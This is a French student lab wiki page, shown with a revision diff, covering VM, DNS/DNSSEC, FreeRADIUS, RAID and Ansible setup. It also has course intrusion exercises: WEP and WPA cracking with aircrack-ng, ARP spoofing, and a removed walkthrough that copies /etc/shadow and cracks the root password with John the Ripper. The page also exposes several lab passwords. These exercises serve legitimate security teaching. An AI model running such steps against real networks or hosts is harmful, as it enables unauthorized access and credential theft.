TP sysres IMA5 2021/2022 G6 : Différence entre versions

De Wiki d'activités IMA
(→‎Réalisations)
(→‎Intrusion sur un serveur d’application Web)
 
(32 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 90 : Ligne 90 :
 
  $ systemctl reload ssh
 
  $ systemctl reload ssh
  
−
On génère une clé ssh avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood
+
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood
  
 
== Serveur DNS ==
 
== Serveur DNS ==
Ligne 332 : Ligne 332 :
 
== Intrusion sur un serveur d’application Web ==
 
== Intrusion sur un serveur d’application Web ==
  
−
Sur honey.plil.info :
+
Nous avons résumé les étapes réalisés dans le fichier suivant : [[Média:Intrusion_serveur_Web_Jacquot_Wadbled.zip]]
  
−
1. injection SQL
+
Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.
−
 
 
−
2. connexion en tant qu'admin
 
−
 
 
−
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)
 
−
 
 
−
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).
 
−
 
 
−
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".
 
−
 
 
−
6. connexion en ssh sur rex@honey.plil.info.
 
−
 
 
−
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :
 
−
 
 
−
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt
 
−
 
 
−
Et on double la taille des mots :
 
−
 
 
−
$ sed -i 's/\(.*\)/\1\1/' dico.txt
 
−
 
 
−
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth.
 
−
 
 
−
$ scp rex@honey.plil.info:/etc/passwd .
 
−
$ scp rex@honey.plil.info:/etc/shadow .
 
−
 
 
−
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :
 
−
 
 
−
$ unshadow passwd shadow | head -1 > honey
 
−
 
 
−
Puis on utilise "John the Ripper" pour cracker le mot de passe :
 
−
 
 
−
$ john -w:dico.txt honey
 
−
 
 
−
Après quelques minutes, on peut afficher le mot de passe trouvé :
 
−
 
 
−
$ john --show honey
 
−
root:fortfort:0:0:root:/root:/bin/bash
 
−
1 password hash cracked, 0 left
 
−
 
 
−
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".
 
  
 
= Point d'accès Wi-Fi authentifié via FreeRADIUS =
 
= Point d'accès Wi-Fi authentifié via FreeRADIUS =
Ligne 593 : Ligne 554 :
  
 
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.
 
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.
 +
 +
= ASR lab project =
 +
 +
== Ansible hello world ==
 +
 +
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :
 +
 +
<code>roles/ssh_key/tasks/main.yml</code>
 +
---
 +
 +
- name: Create .ssh if it does not exists
 +
  file:
 +
    path: ~/.ssh
 +
    state: directory
 +
 +
- name: Copy authorized_keys
 +
  copy:
 +
    src: authorized_keys
 +
    dest: ~/.ssh/authorized_keys
 +
 +
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.
 +
 +
== Iptables ==
 +
 +
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM
 +
 +
== Consul ==
 +
 +
Le fichier <code>roles/consul/tasks/main.yml</code> contient :
 +
 +
---
 +
 +
- name: Create consul group
 +
  group:
 +
    name: consul
 +
    state: present
 +
    gid: 666
 +
 +
- name: Create consul user
 +
  user:
 +
    name: consul
 +
    state: present
 +
    uid: 666
 +
    group: consul
 +
 +
- name: Create dirs
 +
  file:
 +
    state: directory
 +
    path: "{ { item } }"
 +
    owner: consul
 +
    group: consul
 +
  loop:
 +
    - /etc/consul
 +
    - /var/lib/consul
 +
 +
- name: Add HashiCorp key
 +
  apt_key:
 +
    url: https://apt.releases.hashicorp.com/gpg
 +
    state: present
 +
 +
- name: Add HashiCorp repo
 +
  apt_repository:
 +
    repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"
 +
    state: present
 +
    update_cache: true
 +
 +
- name: Install Consul
 +
  package:
 +
    name: consul
 +
    state: present
 +
 +
- name: Put config
 +
  copy:
 +
    src: "{ { item } }"
 +
    dest: "/etc/consul/{ { item } }"
 +
    owner: consul
 +
    group: consul
 +
  loop:
 +
    - config.json
 +
    - web.json
 +
 +
- name: Add consul systemd service file
 +
  copy:
 +
    src: consul.service
 +
    dest: /etc/systemd/system/consul.service
 +
  register: systemd
 +
 +
- name: Deamon reload
 +
  systemd:
 +
    daemon_reload: true
 +
  when: systemd.changed
 +
 +
- name: Start consul service
 +
  systemd:
 +
    name: consul
 +
    state: restarted
 +
    enabled: yes
 +
 +
(Sans les espaces des accolades encore une fois)
 +
Le fichier <code>roles/consul/files/config.json</code> contient :
 +
 +
{
 +
"datacenter": "polytech",
 +
"data_dir": "/var/lib/consul",
 +
"log_level": "INFO",
 +
"node_name": "jsp",
 +
"server": true,
 +
"bind_addr": "172.26.145.106",
 +
"bootstrap_expect": 2,
 +
        "retry_join": ["172.26.145.101"],
 +
"ui": true,
 +
"client_addr": "0.0.0.0"
 +
}
 +
 +
Et le fichier <code>roles/consul/files/web.json</code> contient :
 +
 +
{
 +
"service": {
 +
"name": "web-bellerose",
 +
"tags": ["boris","louis","web"],
 +
"port": 80
 +
},
 +
 +
"check": {
 +
"id": "webport",
 +
"name": "Simple HTTP GET",
 +
"method": "GET",
 +
"http": "http://172.26.145.106",
 +
"interval": "10s",
 +
"timeout": "1s"
 +
}
 +
}
 +
 +
Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500
 +
 +
Cela nous donne :
 +
 +
[[Fichier:screen_healthy.png|1000px|thumb|center|Tada]]

Version actuelle datée du 12 janvier 2022 à 16:01


Création de la machine virtuelle

On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante : 

$ export http_proxy=http://proxy.plil.fr:3128

Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye. 

$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage. 

$ lvcreate -L10G -n Bellerose1 storage
$ lvcreate -L10G -n Bellerose2 storage

Puis il faut les formater au format ext4, alors on utilise les commandes suivantes : 

$ mkfs.ext4 /dev/storage/Bellerose1
$ mkfs.ext4 /dev/storage/Bellerose2

On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif. 

$ vim /etc/xen/Bellerose.cfg
disk        = [
                 'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',
                 'phy:/dev/storage/Bellerose1,xvda3,w',
                 'phy:/dev/storage/Bellerose2,xvda4,w'
              ]
vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]

On peut maintenant lancer notre machine virtuelle : 

$ xl create -c /etc/xen/Bellerose.cfg

Avec la commande : 

$ cat /etc/fstab

On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle : 

$ mkdir /mnt/xvda3
$ mkdir /mnt/xvda4
$ mount /dev/xvda3 /mnt/xvda3
$ mount /dev/xvda4 /mnt/xvda4

Puis on déplace le répertoire var dans le disque xvda4 : 

$ mv /var/* /mnt/xvda4

Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab : 

# /home vers xvda3
/dev/xvda3 /home ext4 defaults 0 2
# /var vers xvda4
/dev/xvda4 /var ext4 defaults 0 2

On monte le tout à l'aide de la commande : 

mount -a

Enfin avec lsblk, on peut voir les deux partitions de notre VM : 

$ lsblk
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

Enfin, nous activons l'IPv6 sur l'interface en modifiant /etc/network/interfaces 

iface eth0 inet6 auto

Pour quitter la VM : CTRL+]

Services Internet

Serveur SSH

$ apt install openssh-server

on édite le fichierde conf /etc/ssh/sshd_config (via ssh key) : 

PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel 
PubkeyAuthentication yes

après on reload la conf 

$ systemctl reload ssh

On génère une clé ssh depuis notre zabeth avec ssh-keygen -t ed25519 et on l'ajoute dans /.ssh/authorized_keys et c'est gooooood

Serveur DNS

on achète le ndd

on crée un "Glue Record" pour notre nameserver ns1.belle-rose.site

on install bind 

$ apt install bind9

on configure /etc/resolv.conf 

nameserver 127.0.0.1

on configure bind /etc/bind/named.conf.local 

zone "belle-rose.site" IN {
        type master;
        file "/etc/bind/db.belle-rose.site";
        allow-transfer { 217.70.177.40; };
};

On ajoute nos ns /etc/bind/db.belle-rose.site 

;
; BIND dans ta face
;
$TTL	604800
@	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL
;
@	IN	NS	ns1.belle-rose.site.
@	IN	NS	ns6.gandi.net.
ns1	IN	A	193.48.57.181

Ensuite on peut tester notre conf avec 

$ host -t any ns1.belle-rose.site localhost
Using domain server:
Name: localhost
Address: 127.0.0.1#53
Aliases: 

ns1.belle-rose.site has address 193.48.57.181

Et on incrémente aussi le Serial dans /etc/bind/db.belle-rose.site à 3.

Certificat

Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat Let's Encrypt. Après avoir installé certbot, on utilise simplement la commande : 

certbot --apache

https://www.belle-rose.site/ IZOK

DNSSEC

On suit les étapes suivantes :

1. On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options

2. On crée un répertoire belle-rose.site.dnssec pour y générer les clefs

3. On crée la clef asymétrique de signature de clefs de zone : 

$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site

4. On crée la clef asymétrique de la zone pour signer les enregistrements 

$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site

5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée); 

$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private

6. On inclue les clefs publiques dans votre fichier de zone /etc/bind/db.belle-rose.site, et on incrémente le numéro de version de la zone ; 

$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key

7. On signe les enregistrements de la zone ; 

$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk

8. On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed : 

$ vim ../named.conf.local
zone "belle-rose.site" IN {
       type master;
       file "/etc/bind/db.belle-rose.site.signed";
       allow-transfer { 217.70.177.40; };
};

9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers") 

 root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key 
 ; This is a key-signing key, keyid 22094, for belle-rose.site.
 ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)
 ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)
 ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)
 belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=

(on copie que la partie chiffrée, pas le record DNSKEY)

10. Enfin, nous pouvons tester la configuration: 

root@Bellerose:~# host -t any belle-rose.site
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F
belle-rose.site name server ns6.gandi.net.
belle-rose.site name server ns1.belle-rose.site.
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800

Tests d'intrusion

Exploitation de failles du système

Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester

En suivant la documentation : 

$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
$ chmod +x les.sh && ./les.sh

On obtient les failles suivantes (audit réalisé sur notre VM) : 

[+] [CVE-2021-27365] linux-iscsi
...
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
...
[+] [CVE-2019-13272] PTRACE_TRACEME
...

Cassage de clef WEP d’un point d’accès WiFi

On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) : 

$ airmon-ng

On trouve l'interface suivante : 

wlx40a5ef0127d0

On essaie de démarrer l'interface sur le channel 3 : 

$ airmon-ng start wlx40a5ef0127d0 3

Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface : 

$ airmon-ng start wlan0mon 3

On écoute ensuite tous les paquets dans l'air : 

$ airodump-ng wlan0mon

A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06. 

$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon

On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel : 

$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon

On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal : 

$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon

L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.

Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP : 

$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap

On obtient alors : 

KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

$ airmon-ng
$ airmon-ng start wlan0mon 9
$ airodump-ng wlan0mon

On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise : 

$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon

On crée le dictionnaire contenant toutes les clefs à tester avec la commande crunch 

$ crunch 8 8 0123456789 -o dictionnaire.lst

Pour savoir si un Handshake a été trouvé, on utilise la commande : 

$ aircrack-ng psk*.cap

On trouve : 

#  BSSID               ESSID        Encryption
1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)

On peut alors lancer la commande de test des clefs : 

$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap

Après un peu d'attente, on obtient la clef suivante : 

KEY FOUND! [ 59906999 ]

Attaque de type "homme au milieu" par usurpation ARP

On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.

On fait : 

$ echo 1 > /proc/sys/net/ipv4/ip_forward

Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61): 

$ arpspoof -t 172.26.145.61 172.26.145.254

En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.

Intrusion sur un serveur d’application Web

Nous avons résumé les étapes réalisés dans le fichier suivant : Média:Intrusion_serveur_Web_Jacquot_Wadbled.zip

Le mot de passe pour pouvoir lire ce fichier est le mot de passe de root@honey.plil.info.

Point d'accès Wi-Fi authentifié via FreeRADIUS

Configuration du point d'accès

Point d'accès

Tout d'abord il faut configurer l'authentification EAP dans la configuration : 

conf t

 aaa new-model
 aaa authentication login eap_rose group radius_rose
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin
 aaa group server radius radius_rose
 server 193.48.57.181 auth-port 1812 acct-port 1813
 exit

Configurons le SSID : 

conf t

 dot11 ssid SSID_ROSE
 vlan 5
  authentication open eap eap_rose
  authentication network-eap eap_rose
  authentication key-management wpa
  mbssid guest-mode
  exit
 exit

On associe notre SSID à l'interface WIFI : 

conf t

 interface Dot11Radio0
  encryption vlan 5 mode ciphers aes-ccm tkip
  ssid SSID_ROSE
  mbssid
  exit
 exit

On paramètre notre VLAN (5) 

conf t
 
 interface Dot11Radio0.5
  encapsulation dot1Q 5
  no ip route-cache
  bridge-group 5
  bridge-group 5 subscriber-loop-control
  bridge-group 5 spanning-disabled
  bridge-group 5 block-unknown-source
  exit
 exit

On configure l'interface filaire 

conf t

 interface GigabitEthernet0.5
 encapsulation dot1Q 5
 bridge-group 5
 exit
exit

Enfin, on configure l'IP de l'AP et sa gateway 

conf t

 ip default-gateway 10.1.0.1
 interface BVI 1
  ip address 10.1.0.3 255.255.255.0
  exit
 exit

Routeur

Commençons par configurer le VLAN 1 

conf t

 interface vlan 1
  ip address 10.1.0.1 255.255.255.0
  exit
 exit

Puis on configure le port (ici Gi1/0/3 

conf t

 interface Gi1/0/3
  switchport
  switchport mode trunk
  switchport trunk allowed vlan add 1
  exit
 exit

Et voilà mon grand

Serveur FreeRADIUS

Installation de freeRADIUS 

apt install freeradius

On commence par configurer /etc/freeradius/3.0/clients.conf à détailler 

client zozo {
	ipaddr = 10.1.0.3/24
	secret = zinzin
}

ensuite /etc/freeradius/3.0/eap.conf 

eap {
  [...]
  default_eap_type = peap
}

puis /etc/freeradius/3.0/users 

[...]
root Cleartext-Password := "glopglop"

Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X (après avoir au préalable stoppé le processus)

Réalisations

Sécurisation des données (RAID 5)

Nous avons besoin de 3 LV à rajouter à notre VM : 

$ lvcreate -L1G -n Bellerose-raid1 storage
$ lvcreate -L1G -n Bellerose-raid2 storage
$ lvcreate -L1G -n Bellerose-raid3 storage

Nous pouvons ainsi les rajouter à la configuration de notre VM (/etc/xen/Bellerose.cfg): 

'phy:/dev/storage/Bellerose-raid1,xvda5,w'
'phy:/dev/storage/Bellerose-raid2,xvda6,w'
'phy:/dev/storage/Bellerose-raid3,xvda7,w'

Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus. 

$ apt install mdadm

On va ensuite créer un disque nommé /dev/md0 grâce à mdadm : 

$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7

On peut ainsi vérifier que notre RAID 5 est effectif : 

$ lsblk
NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT
xvda1 202:1    0  512M  0 disk  [SWAP]
xvda2 202:2    0    4G  0 disk  /
xvda3 202:3    0   10G  0 disk  /home
xvda4 202:4    0   10G  0 disk  /var
xvda5 202:5    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 
xvda6 202:6    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5 
xvda7 202:7    0    1G  0 disk  
`-md0   9:0    0    2G  0 raid5

Enfin il faut monter ce disque fraîchement créé : 

$ mkfs.ext4 /dev/md0
$ mkdir /media/raid

on ajoute cette ligne dans /etc/fstab : 

/dev/md0 /media/raid ext4 defaults 0 1

puis 

$ mount -a

et toc

Chiffrement des données

On branche la clé USB sur le petit PC bleu, et on lance lsblk et on trouve : 

NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
sda        8:0    1   7,2G  0 disk

Donc on peut formater la clef qui contient déjà quelque chose dessus : 

$ mkfs.ext4 /dev/sda

Avec cryptsetup on peut initialiser la clef et lui donner un mdp : 

$ cryptsetup luksFormat /dev/sda

On crée une partition chiffrée sur la clé : 

$ cryptsetup luksOpen /dev/sda data

Et on formate : 

$ mkfs.ext4 /dev/mapper/data

On monte cette partition pour lui permettre de contenir des fichiers : 

$ mkdir /mnt/data-usb
$ mount -t ext4 /dev/mapper/data /mnt/data-usb

On y ajoute donc un fichier de test : 

$ touch /mnt/data-usb/boujour.txt

Puis on démonte et on ferme le volume chiffré 

$ umont /mnt/data-usb
$ cryptsetup luksClose data

Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.

ASR lab project

Ansible hello world

Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :

roles/ssh_key/tasks/main.yml 

---

- name: Create .ssh if it does not exists
  file:
    path: ~/.ssh
    state: directory 

- name: Copy authorized_keys
  copy:
    src: authorized_keys
    dest: ~/.ssh/authorized_keys

Ce dernier prend le fichier ../files/authorized_keys (local) et le place dans ~/.ssh (vm) après avoir créé ce répertoire si besoin.

Iptables

CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM

Consul

Le fichier roles/consul/tasks/main.yml contient : 

---

- name: Create consul group
  group:
    name: consul
    state: present
    gid: 666

- name: Create consul user
  user:
    name: consul
    state: present
    uid: 666
    group: consul

- name: Create dirs
  file:
    state: directory
    path: "{ { item } }"
    owner: consul
    group: consul
  loop:
    - /etc/consul
    - /var/lib/consul

- name: Add HashiCorp key
  apt_key:
    url: https://apt.releases.hashicorp.com/gpg
    state: present

- name: Add HashiCorp repo
  apt_repository:
    repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"
    state: present
    update_cache: true

- name: Install Consul
  package:
    name: consul
    state: present

- name: Put config
  copy:
    src: "{ { item } }"
    dest: "/etc/consul/{ { item } }"
    owner: consul
    group: consul
  loop:
    - config.json
    - web.json

- name: Add consul systemd service file
  copy:
    src: consul.service
    dest: /etc/systemd/system/consul.service
  register: systemd

- name: Deamon reload
  systemd:
    daemon_reload: true
  when: systemd.changed

- name: Start consul service
  systemd:
    name: consul
    state: restarted
    enabled: yes

(Sans les espaces des accolades encore une fois) Le fichier roles/consul/files/config.json contient : 

{
	"datacenter": "polytech",
	"data_dir": "/var/lib/consul",
	"log_level": "INFO",
	"node_name": "jsp",
	"server": true,
	"bind_addr": "172.26.145.106",
	"bootstrap_expect": 2,
       "retry_join": ["172.26.145.101"],
	"ui": true,
	"client_addr": "0.0.0.0"
}

Et le fichier roles/consul/files/web.json contient : 

{
	"service": {
		"name": "web-bellerose",
		"tags": ["boris","louis","web"],
		"port": 80
	},

	"check": {
		"id": "webport",
		"name": "Simple HTTP GET",
		"method": "GET",
		"http": "http://172.26.145.106",
		"interval": "10s",
		"timeout": "1s"
	}
}

Oui, rien n'est variabilisé mais le principe est là. Pour voir le résultat: http://172.26.145.106:8500

Cela nous donne :

Tada
Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&oldid=58066 »